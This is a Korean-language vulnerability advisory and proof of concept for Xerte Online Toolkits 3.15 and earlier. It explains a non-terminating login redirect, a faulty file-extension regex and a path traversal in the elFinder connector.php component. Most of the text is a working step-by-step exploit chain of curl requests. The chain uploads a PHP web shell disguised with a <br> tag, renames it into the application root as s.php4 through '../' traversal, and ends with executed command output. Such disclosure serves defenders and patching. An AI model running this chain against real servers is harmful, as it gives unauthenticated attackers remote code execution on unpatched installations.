
인증되지 않은 Xerte Online Toolkits 익스플로잇. 유효한 사용자 이름을 알고 있어야 합니다.
Xerte Online Toolkits 버전 3.15 및 이전 버전은 /editor/elfinder/php/connector.php 구성 요소에 3가지 취약점이 있으며, 인증되지 않은 공격자가 이를 연쇄적으로 사용하여 원격 코드 실행(RCE)을 달성할 수 있습니다.
Xerte Online Toolkits <= 3.15
버전 3.15, 3.14 및 3.13에 백포트된 패치가 적용되었습니다.
인증되지 않은 사용자는 /editor/elfinder/php/connector.php에서 커넥터 구성 요소에 요청을 보낼 수 있습니다.
다음 코드가 액세스 제어로 사용됩니다.
파일: /editor/elfinder/php/connector.php 줄 번호: 35
if (!isset($_SESSION['toolkits_logon_id'])){
header("location: ../../../index.php");
}
이것은 인증되지 않은 사용자를 리디렉션하여 인증되지 않은 요청의 응답을 받지 못하게 하지만, 세션을 종료하지 않으며 후속 코드는 여전히 실행됩니다.
*공격자가 이동하려는 파일의 파일명을 알아야 합니다.
공격자는 connector.php 엔드포인트에 대한 'rename' 요청에서 'name' 매개변수를 조작할 수 있습니다. 이를 통해 공격자는 기존 디렉터리를 사용하여 파일을 사용자의 미디어 디렉터리 외부로 이동할 수 있습니다.
connector.php의 파일 확장자 필터 정규식 오류로 인해 공격자는 동일한 Xerte 버전에 존재하는 경로 탐색 취약점을 연쇄적으로 사용하여 악성 PHP 코드가 포함된 파일을 .php4 확장자로 애플리케이션 루트로 이동할 수 있습니다.
파일: /editor/elfinder/php/connector.php 줄 번호: 130
array( // hide readmes
'pattern' => '/(readme\.txt)|\.(html|php|php5|php*|phtml|phar|inc|py|pl|sh)$/i',
'read' => false,
php* 정규식은 앞의 문자만 일치시킵니다. 따라서 "ph", "php", "phppp" 등이 일치합니다.
인증이 활성화된 경우(기본 Xerte 구성이 아님) 공격자는 유효한 사용자의 사용자 이름을 알거나(또는 무차별 대입)해야 합니다. 게스트 인증(기본값)을 사용하는 경우 대상 프로젝트 디렉터리는 단순히 1--Nottingham이 됩니다.
인증되지 않은 공격자는 'example_dir' 디렉터리를 만들고 악성 PHP 코드가 포함된 'file.txt' 파일을 USER-FILES/ 아래의 모든 프로젝트 디렉터리에 업로드할 수 있습니다.
그런 다음 Xerte에 존재하는 상대 경로 탐색 및 허용되지 않은 입력의 불완전한 목록 취약점을 사용하여 업로드된 파일 이름을 'example_dir/../../../../file.php4'로 변경하고 file.txt를 애플리케이션 루트로 'file.php4'로 이동하여 원격 코드 실행을 달성할 수 있습니다.
curl 'http://localhost/xt/setup'
요청 매개변수:
curl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=mkdir&name=folder1&target=l1_Lw'
*페이로드의
태그는 elfinder MIME 유형 필터가 PHP 코드를 감지하지 못하게 합니다.
요청 매개변수:
echo '<br><?php system($_GET["cmd"]); ?>' > file.txt
curl -X POST 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/' \
-F 'cmd=upload' \
-F 'target=l1_Lw' \
-F "upload[][email protected];type=text/plain"
echo -n 'file.txt' | base64
ZmlsZS50eHQ=
패딩을 제거해야 합니다. 이 경우 '='만 제거합니다.
볼륨 식별자를 추가합니다. 항상 'l1'('/'을 의미)입니다.
결과: l1_ZmlsZS50eHQ
요청 매개변수:
l1_ZmlsZS50eHQcurl 'http://localhost/xt/editor/elfinder/php/connector.php?uploadDir=/opt/lampp/htdocs/xt/USER-FILES/1-user2-Nottingham/&uploadURL=http://localhost/xt/USER-FILES/1-user2-Nottingham/&cmd=rename&name=folder1%2F..%2F..%2F..%2F..%2Fs.php4&target=l1_ZmlsZS50eHQ'
요청 매개변수:
curl http://localhost/xt/s.php4?cmd=id
<br>uid=1(daemon) gid=1(daemon) groups=1(daemon)